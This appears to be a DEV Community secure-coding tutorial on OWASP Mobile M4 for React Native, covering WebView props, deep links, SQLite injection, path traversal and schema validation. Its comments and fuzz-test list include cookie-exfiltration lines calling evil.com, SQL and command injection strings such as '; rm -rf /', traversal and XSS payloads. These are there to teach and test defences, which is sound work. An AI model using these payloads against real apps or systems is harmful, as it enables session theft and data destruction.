Your React Native App Trusts Too Much: OWASP M4 in Practice

Barış Kandemir — Thu, 13 Aug 2026 20:47:42 +0000

There's a belief I run into constantly in React Native codebases: "React Native has no DOM, so XSS isn't our problem."

Half true. <Text> doesn't render HTML, so classic DOM-based XSS doesn't apply. But your app also:

Embeds WebViews (a real browser engine)
Accepts deep links (URLs from anyone)
Passes data over the native bridge
Queries a local SQLite database
Reads from the file system
Consumes API responses

Every one of those is a trust boundary. OWASP M4: Insufficient Input/Output Validation is what happens when you don't treat them as such.

This is part 4 of a series walking the OWASP Mobile Top 10 from a React Native angle. Part 3 covered [authentication and authorization]. Today: never trusting data.

What OWASP actually says about M4

Metric	Rating
Exploitability	DIFFICULT
Prevalence	COMMON
Detectability	EASY
Impact	SEVERE

Look at that combination for a second. Easy to detect, severe impact, common in the wild. That means attackers find these fast — and so would you, if you ran the test. Most teams never do.

Validation and encoding are not the same job

This trips people up constantly, so let's be precise:

Input validation asks "is this data shaped the way I expect?" → the answer is accept or reject.

Output encoding asks "is this data safe where I'm about to put it?" → the answer is transform.

// Username passes validation: letters and digits only
const isValid = /^[a-zA-Z0-9]+$/.test(username);  // ✅

// But the same value means different things downstream:
// SQL       → must be parameterized
// HTML      → must be encoded
// Shell     → must be escaped
// File path → must be normalized

Validation makes input acceptable. Encoding makes it safe in a specific context. You need both. One does not substitute for the other.

And the corollary: allowlist beats denylist, always.

// ❌ You will never finish this list
input.replace(/<script>/gi, '')   // <ScRiPt>? <scr<script>ipt>?
     .replace(/\.\.\//g, '');     // ....//? %2e%2e%2f?

// ✅ Finite, predictable, reviewable
function validateUsername(input) {
  if (typeof input !== 'string') return null;
  if (input.length < 3 || input.length > 20) return null;
  if (!/^[a-z0-9_]+$/.test(input)) return null;
  return input;
}

WebView is your biggest attack surface

If you take one thing from this post: WebView is not "just a component." It's a full browser engine running inside your app, and it brings the entire browser threat model with it.

The CVE that made this concrete

CVE-2020-6506 was a universal XSS in the Android WebView system component — cross-origin iframes could execute arbitrary JavaScript in the top-level document. It hit React Native apps using react-native-webview that allowed navigation to arbitrary URLs, on devices with Android WebView older than 83.0.4103.106.

Translation: user opens a harmless-looking page, an iframe on that page runs JS in the top-level context, and now it has access to whatever lives in that WebView — session state, the postMessage channel, everything. react-native-webview 11.0.0 added a mitigation prop.

There's an older one worth knowing too. Early WebView bridge implementations injected bridge messages into a string that got eval'd inside the WebView. Send ');alert('hello and you had arbitrary code execution — particularly nasty when the data came from an external API.

What insecure looks like

// ❌ Basically every dangerous prop at once
<WebView
  source={{ uri: url }}                    // unvalidated
  originWhitelist={['*']}                  // go anywhere
  allowFileAccess={true}                   // file:// access
  allowUniversalAccessFromFileURLs={true}  // very bad
  mixedContentMode="always"                // accepts HTTP
  injectedJavaScript={`
    document.body.innerHTML = '${userComment}';  // string injection
  `}
/>

What secure looks like

const ALLOWED_ORIGINS = [
  'https://app.mycompany.com',
  'https://payments.mycompany.com',
];

function isAllowedUrl(url) {
  try {
    const parsed = new URL(url);
    if (parsed.protocol !== 'https:') return false;
    return ALLOWED_ORIGINS.includes(parsed.origin);
  } catch {
    return false;  // unparseable = reject
  }
}

function SecureWebView({ url }) {
  const handleShouldStartLoad = useCallback((request) => {
    const allowed = isAllowedUrl(request.url);
    if (!allowed) console.warn('Blocked navigation:', request.url);
    return allowed;  // false cancels the navigation
  }, []);

  if (!isAllowedUrl(url)) return <ErrorScreen />;

  return (
    <WebView
      source={{ uri: url }}
      originWhitelist={ALLOWED_ORIGINS}
      onShouldStartLoadWithRequest={handleShouldStartLoad}
      onMessage={handleMessage}
      allowFileAccess={false}
      allowFileAccessFromFileURLs={false}
      allowUniversalAccessFromFileURLs={false}
      mixedContentMode="never"
      javaScriptCanOpenWindowsAutomatically={false}
      setSupportMultipleWindows={false}
      thirdPartyCookiesEnabled={false}
    />
  );
}

The `injectedJavaScript` trap

Whatever string you pass gets evaluated inside the WebView. Template literals are how you lose:

// ❌ user.name = "'); fetch('https://evil.com?c='+document.cookie); //"
const script = `setUser('${user.name}')`;

// ✅ JSON.stringify escapes quotes, backslashes, control chars
const script = `
  (function() {
    var payload = ${JSON.stringify({ name: user.name, id: user.id })};
    window.setUser(payload);
    true;
  })();
`;

Better yet, don't inject at all — use postMessage and validate on both ends.

Validate what comes back

onMessage is an inbound channel from a browser you don't fully control. Parse defensively:

import { z } from 'zod';

const WebViewMessageSchema = z.discriminatedUnion('type', [
  z.object({ type: z.literal('CLOSE') }),
  z.object({
    type: z.literal('PAYMENT_SUCCESS'),
    orderId: z.string().regex(/^ORD-[0-9]{10}$/),
  }),
  z.object({
    type: z.literal('HEIGHT_CHANGED'),
    height: z.number().positive().max(20000),  // cap it
  }),
]);

const handleMessage = useCallback((event) => {
  let payload;
  try {
    payload = JSON.parse(event.nativeEvent.data);
  } catch {
    return;  // not JSON, drop it
  }

  const result = WebViewMessageSchema.safeParse(payload);
  if (!result.success) return;

  switch (result.data.type) {
    case 'CLOSE': navigation.goBack(); break;
    case 'PAYMENT_SUCCESS': handleSuccess(result.data.orderId); break;
    default: break;  // unknown type, ignore
  }
}, []);

That .max(20000) on height isn't paranoia. A page that reports a height of 999999999 will happily blow up your layout.

Deep links are commands from strangers

Anyone can fire a deep link at your app. Treat the payload accordingly.

import { z } from 'zod';

const DeepLinkSchema = z.discriminatedUnion('screen', [
  z.object({ screen: z.literal('profile'), userId: z.string().uuid() }),
  z.object({ screen: z.literal('product'), productId: z.string().regex(/^[A-Z0-9]{8}$/) }),
  z.object({ screen: z.literal('order'), orderId: z.string().regex(/^ORD-[0-9]{10}$/) }),
]);

const APP_SCHEME = 'myapp';
const ALLOWED_HOSTS = ['app.mycompany.com'];

export function handleDeepLink(url, navigation) {
  let parsed;
  try {
    parsed = new URL(url);
  } catch {
    return false;
  }

  const isCustomScheme = parsed.protocol === `${APP_SCHEME}:`;
  const isUniversalLink =
    parsed.protocol === 'https:' && ALLOWED_HOSTS.includes(parsed.hostname);

  if (!isCustomScheme && !isUniversalLink) return false;

  const params = Object.fromEntries(parsed.searchParams.entries());
  const screen = parsed.pathname.replace(/^\//, '');

  const result = DeepLinkSchema.safeParse({ screen, ...params });
  if (!result.success) return false;

  const { screen: validScreen, ...validParams } = result.data;
  navigation.navigate(validScreen, validParams);
  return true;
}

The classic bug here is forwarding a URL parameter straight into Linking.openURL or a WebView:

// ❌ myapp://open?url=javascript:fetch('https://evil.com?c='+document.cookie)
Linking.openURL(params.url);

// ✅
const SAFE_SCHEMES = ['https:', 'mailto:', 'tel:'];

async function safeOpenURL(url) {
  let parsed;
  try { parsed = new URL(url); } catch { return false; }
  if (!SAFE_SCHEMES.includes(parsed.protocol)) return false;
  if (!(await Linking.canOpenURL(url))) return false;
  await Linking.openURL(url);
  return true;
}

javascript:, file:, intent:, and content: are all schemes you don't want to hand to the OS on a user's behalf.

SQL injection is alive and well on-device

"It's just local SQLite, who cares?" — a finance app once let users paste SQL into the search bar and lost months of user data overnight.

The Expo docs put it plainly: you must escape all user input passed to SQLite, and prepared statements are the effective defense because they separate query logic from input parameters, with SQLite escaping automatically.

// ❌
db.getAllAsync(`SELECT * FROM notes WHERE title LIKE '%${term}%'`);
// term = "'; DROP TABLE notes; --"

// ✅ parameterized
db.getAllAsync('SELECT * FROM notes WHERE title LIKE ?', [`%${term}%`]);
db.getFirstAsync('SELECT * FROM notes WHERE id = ?', [id]);
db.runAsync('UPDATE notes SET title = ? WHERE id = ?', [title, id]);

// ✅ named params
db.runAsync(
  'INSERT INTO notes (title, body) VALUES ($title, $body)',
  { $title: note.title, $body: note.body }
);

expo-sqlite also ships a tagged template API that parameterizes automatically:

const notes = await db.sql`SELECT * FROM notes WHERE userId = ${userId}`;

The part people miss

Placeholders only work for values. Column names and sort direction can't be parameterized — you need an allowlist:

// ❌
`SELECT * FROM notes ORDER BY ${sortBy} ${direction}`

// ✅ map user input to fixed values
const SORT_COLUMNS = { date: 'createdAt', title: 'title', size: 'byteSize' };
const SORT_DIRECTIONS = { asc: 'ASC', desc: 'DESC' };

const column = SORT_COLUMNS[sortBy] ?? 'createdAt';
const dir = SORT_DIRECTIONS[direction] ?? 'DESC';
return `SELECT * FROM notes ORDER BY ${column} ${dir}`;

Path traversal in the file system

// ❌ filename = "../../../Library/Preferences/com.myapp.plist"
RNFS.readFile(`${RNFS.DocumentDirectoryPath}/${filename}`);

Sanitizing a filename properly takes more steps than people expect:

const DOCS_DIR = RNFS.DocumentDirectoryPath;
const ALLOWED_EXT = ['.pdf', '.png', '.jpg', '.txt', '.json'];

function sanitizeFilename(input) {
  if (typeof input !== 'string') return null;

  // 1. decode first — defeats double-encoding (%252e%252e%252f)
  let name;
  try { name = decodeURIComponent(input); } catch { return null; }

  // 2. throw away every directory component
  name = name.split(/[/\\]/).pop();

  // 3. allowlist charset
  if (!/^[a-zA-Z0-9._-]+$/.test(name)) return null;

  // 4. no hidden files, no traversal remnants
  if (name.startsWith('.') || name.includes('..')) return null;

  // 5. length bounds
  if (name.length === 0 || name.length > 255) return null;

  // 6. extension allowlist
  if (!ALLOWED_EXT.some(ext => name.toLowerCase().endsWith(ext))) return null;

  return name;
}

async function readDocument(filename) {
  const safe = sanitizeFilename(filename);
  if (!safe) throw new Error('Invalid filename');

  const path = `${DOCS_DIR}/${safe}`;
  // 7. belt and braces: did we stay in the sandbox?
  if (!path.startsWith(DOCS_DIR + '/')) throw new Error('Path escape');

  return RNFS.readFile(path, 'utf8');
}

Step 1 before step 2 matters. Decode after stripping directories and %2f..%2f walks right past you.

Don't trust your own backend either

This one gets pushback, so let me make the case. Your API is presumably secure. But malformed data can still reach you through a bad deploy, a cache layer, a backend bug, or an attacker with a proxy on a rooted device. Schema validation at the network boundary stops all of those at the edge instead of somewhere three components deep.

const UserProfileSchema = z.object({
  id: z.string().uuid(),
  displayName: z.string().max(100),
  avatarUrl: z.string().url().startsWith('https://'),  // rejects http://
  balance: z.number().nonnegative(),
  role: z.enum(['user', 'moderator', 'admin']),
});

async function fetchProfile(userId) {
  const response = await apiClient.get(`/users/${userId}`);
  const result = UserProfileSchema.safeParse(response.data);

  if (!result.success) {
    console.error('Schema validation failed:', result.error.issues);
    throw new Error('Invalid server response');
  }

  return result.data;  // validated and typed
}

Bonus: you get TypeScript types for free via z.infer, and a crash report that says "schema validation failed at /users/:id" instead of "undefined is not an object" from a random render.

…or your own past self

Same logic, one step further. You validate the API response and write it to
SQLite. Six screens later you read that value back and treat it as trusted,
because you wrote it.

But you wrote it with the rules that shipped in that version. Ship v1.2
without the https:// check on avatarUrl, add the check in v1.5, and every
row written by v1.2 is still sitting there unvalidated. The source got fixed;
the local copy didn't.

Persisted data is an input boundary too — it just has a slow clock. A poisoned
value can sit for months and surface long after you added the check that would
have caught it.

// ❌ trusted because "we wrote it"
const profile = await db.getFirstAsync('SELECT * FROM profiles WHERE id = ?', [id]);
openWebView(profile.avatarUrl);

// ✅ validate on read, not only on write
const row = await db.getFirstAsync('SELECT * FROM profiles WHERE id = ?', [id]);
const profile = UserProfileSchema.parse(row);
openWebView(profile.avatarUrl);

Re-parsing every row on every read gets expensive, so scope it: validate on
read for anything that flows into a sink — a WebView URL, Linking.openURL,
a native module argument, a query fragment. Display-only fields can stay
lenient; the worst case there is a rendering bug, not a code path.

(Credit to Rahul S in the comments for this one.)

The native bridge cuts both ways

const ProcessRequestSchema = z.object({
  filename: z.string().regex(/^[a-zA-Z0-9._-]+$/).max(255),
  format: z.enum(['pdf', 'png', 'jpg']),
  quality: z.number().int().min(1).max(100),
});

export async function processFile(request) {
  const result = ProcessRequestSchema.safeParse(request);
  if (!result.success) throw new Error('Invalid request');

  return NativeModules.FileProcessor.processFile(
    result.data.filename,
    result.data.format,
    result.data.quality,
  );
}

Validate the response coming back too. Native modules can fail in ways your JS types promise they won't.

Patterns to ban outright

eval(configFromServer);                          // ❌
new Function('return ' + userInput);             // ❌
require(userProvidedPath);                       // ❌
setTimeout('doSomething(' + userInput + ')', 0); // ❌

// ✅ data-driven dispatch instead
const ACTIONS = {
  refresh: () => refreshData(),
  logout: () => handleLogout(),
  navigate: (params) => navigation.navigate(params.screen),
};

function handleRemoteAction(action, params) {
  const handler = ACTIONS[action];
  if (!handler) return console.warn('Unknown action:', action);
  handler(params);
}

Enforce it in CI so it doesn't come back:

{
  "plugins": ["security"],
  "rules": {
    "no-eval": "error",
    "no-implied-eval": "error",
    "no-new-func": "error",
    "security/detect-eval-with-expression": "error",
    "security/detect-non-literal-fs-filename": "warn",
    "security/detect-object-injection": "warn"
  }
}

Test it like an attacker would

Fuzz your validators. This suite takes ten minutes to write and catches real regressions:

const MALICIOUS_PAYLOADS = [
  // path traversal
  '../../../etc/passwd',
  '..%2f..%2f..%2fetc%2fpasswd',
  '....//....//etc/passwd',
  '%252e%252e%252f',
  // sql
  "' OR '1'='1",
  "'; DROP TABLE users; --",
  // xss
  '<script>alert(1)</script>',
  '<img src=x onerror=alert(1)>',
  'javascript:alert(document.cookie)',
  // command injection
  '; rm -rf /',
  '$(whoami)',
  '`id`',
  // length + null byte + unicode
  'A'.repeat(100000),
  'file.txt\0.png',
  '\uFEFF../etc/passwd',
];

describe('sanitizeFilename', () => {
  test.each(MALICIOUS_PAYLOADS)('rejects or neutralizes: %s', (payload) => {
    const result = sanitizeFilename(payload);
    if (result !== null) {
      expect(result).toMatch(/^[a-zA-Z0-9._-]+$/);
      expect(result).not.toContain('..');
    }
  });
});

And test deep links from the shell, the way an attacker would:

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?url=javascript:alert(1)" com.yourapp

Where to start Monday morning

If your codebase has never been looked at through this lens, go in this order:

Grep for template literals in SQL. db.\w+Async(`SELECT — fix every hit with ? placeholders.
Grep for injectedJavaScript. Any ${} inside it is a live bug.
Audit WebView props. originWhitelist={['*']} and missing onShouldStartLoadWithRequest are the common ones.
Add maxLength to every TextInput. Cheapest win on the list.
Schema-validate your deep link handler. It's the most exposed entry point you own.
Add the ESLint rules. Stops the bleeding while you fix the rest.

Then the bigger lifts: schema validation at the API boundary, fuzz tests in CI, a centralized validation module so this logic lives in one reviewable place.

The short version

Every trust boundary is a validation point — API, deep links, WebView, bridge, clipboard, QR codes, push payloads
Allowlist beats denylist, every time
Validation and encoding are different jobs; you need both
Client-side validation is UX; the server must repeat it, because the attacker may never open your app
WebView is an embedded browser and carries every browser risk
Context determines the defense: same string, three different treatments in SQL, HTML, and a file path

M4 looks like the boring item on the list. Building a slick auth flow is more fun than adding maxLength to a text input. But attackers don't go where it's interesting — they go where it's weak.

Next up in this series: M5: Insecure Communication — TLS config, certificate pinning, and why "we use HTTPS" isn't the end of the conversation.

Have you found one of these in your own codebase? I'd genuinely like to hear which one — the WebView props and the ORDER BY allowlist are the two that seem to catch the most experienced teams off guard.

DEV Community: Barış Kandemir

Your React Native App Trusts Too Much: OWASP M4 in Practice

What OWASP actually says about M4

Validation and encoding are not the same job

WebView is your biggest attack surface

The CVE that made this concrete

What insecure looks like

What secure looks like

The `injectedJavaScript` trap

Validate what comes back

Deep links are commands from strangers

SQL injection is alive and well on-device

The part people miss

Path traversal in the file system

Don't trust your own backend either

…or your own past self

The native bridge cuts both ways

Patterns to ban outright

Test it like an attacker would

Where to start Monday morning

The short version

References

DEV Community: Barış Kandemir

Your React Native App Trusts Too Much: OWASP M4 in Practice

What OWASP actually says about M4

Validation and encoding are not the same job

WebView is your biggest attack surface

The CVE that made this concrete

What insecure looks like

What secure looks like

The injectedJavaScript trap

Validate what comes back

Deep links are commands from strangers

SQL injection is alive and well on-device

The part people miss

Path traversal in the file system

Don't trust your own backend either

…or your own past self

The native bridge cuts both ways

Patterns to ban outright

Test it like an attacker would

Where to start Monday morning

The short version

References

The `injectedJavaScript` trap